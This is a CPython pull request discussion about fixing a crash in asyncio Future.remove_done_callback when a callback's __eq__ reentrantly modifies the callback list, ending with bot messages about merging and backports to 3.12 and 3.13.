The pure python implementation cannot crash the interpreter, so -1 on changing that, let's keep the original behaviour.

What if we just forbid recursive callback removal at all?
Or even more, forbid callingadd_done_callback() andremove_done_callback() fromremove_done_callback() call?
I don't think that this change will break any existing and working code. Even if some subtle backward compatibility issue will be caught it could be fixed relatively easy by authors.

For example, if a dict is changed during iteration python raisesRuntimeError because there is no clear and obvious behavior for this situation.

I have a feeling that recursive callbacks list modification falls in the same trap. What a user expects if__eq__ adds and removes the same callback multiple times? What should be in the final list?

Explicit forbidding such edge cases makes the logic clearer for human understanding. Potential crash is converted into RuntimeError.

What are your opinions?

What if we just forbid recursive callback removal at all?

I imagine that would make the code even more complex, extra checks would have to be added to guard and check size after each iteration, a simpler change is to just incref the callback as done here, this pattern is very common in codebase to avoid crashes. As for the behavior, I'd let it be how it is, if user messes things up it's their fault, nobody in their right mind should do something like this so I am only concerned about not crashing the interp.

The check could be as simple as adding a bool flag to a future instance, checking it at the very beginning ofremove_done_callback, and switching it on if not set.

I don't insist though. Messy behavior can live on its own if it doesn't crash Python, agree.

Should we care about the following scenario? Assume we are working with CFuture.

1. Initial callbacks list is[a, b, c].fut_callback0 isa andfut_callbacks is[b, c] (I'll skip callback contexts for clarity).
2. fut.remove_done_callback(a) is called.
3. __eq__ recursively callsfut.remove_done_callback(a) and returnsTrue. Nowfut_callback0 isb andfut_callbacks is[c].
4. PyObject_RichCompareBool call returns1,fut_callback0 should be deleted. It containsb now.
5. As the result, the final callbacks list is[c] instead of expected[b, c].

To fix this, we should checkfut_callback0 in a loop untilPyObject_RichCompareBool(...) changes this field.

What if we just forbid recursive callback removal at all?

While I find it good on paper, I think we shouldn't make the module more complicate than what it is already. While I doubt someone has a good reason to mutate the list, IIRC, most of the UAFs were fixed by incrementing refcounts in general, and not by forbidding some kind of "bad" operation.

I'm also wondering but how does it work if multiple threads access the future's state? isn't possible to fool the check (we may require locks for prevent this)? (or, more generally, would this approach work in the free-threaded build without additional locks and co?) [I don't know if the current implementation is perfectly fool-proofed in the free-threaded build by the way]

So I'd prefer first fixing the interpreter that way and maybe we could come back with a more intricate solution later if needs arise?

A Python core developer has requested some changes be made to your pull request before we can consider merging it. If you could please address their requests along with any other requests in other reviews from core developers that would be appreciated.

Once you have made the requested changes, please leave a comment on this pull request containing the phraseI have made the requested changes; please review again. I will then notify any core developers who have left a review that you're ready for them to take another look at this pull request.

I have made the requested changes; please review again.

Thanks for making the requested changes!

@kumaraditya303,@asvetlov: please review the changes made to this pull request.

Thanks@picnixz for the PR, and@kumaraditya303 for merging it 🌮🎉.. I'm working now to backport this PR to: 3.12, 3.13.
🐍🍒⛏🤖

GH-126047 is a backport of this pull request to the3.13 branch.

GH-126048 is a backport of this pull request to the3.12 branch.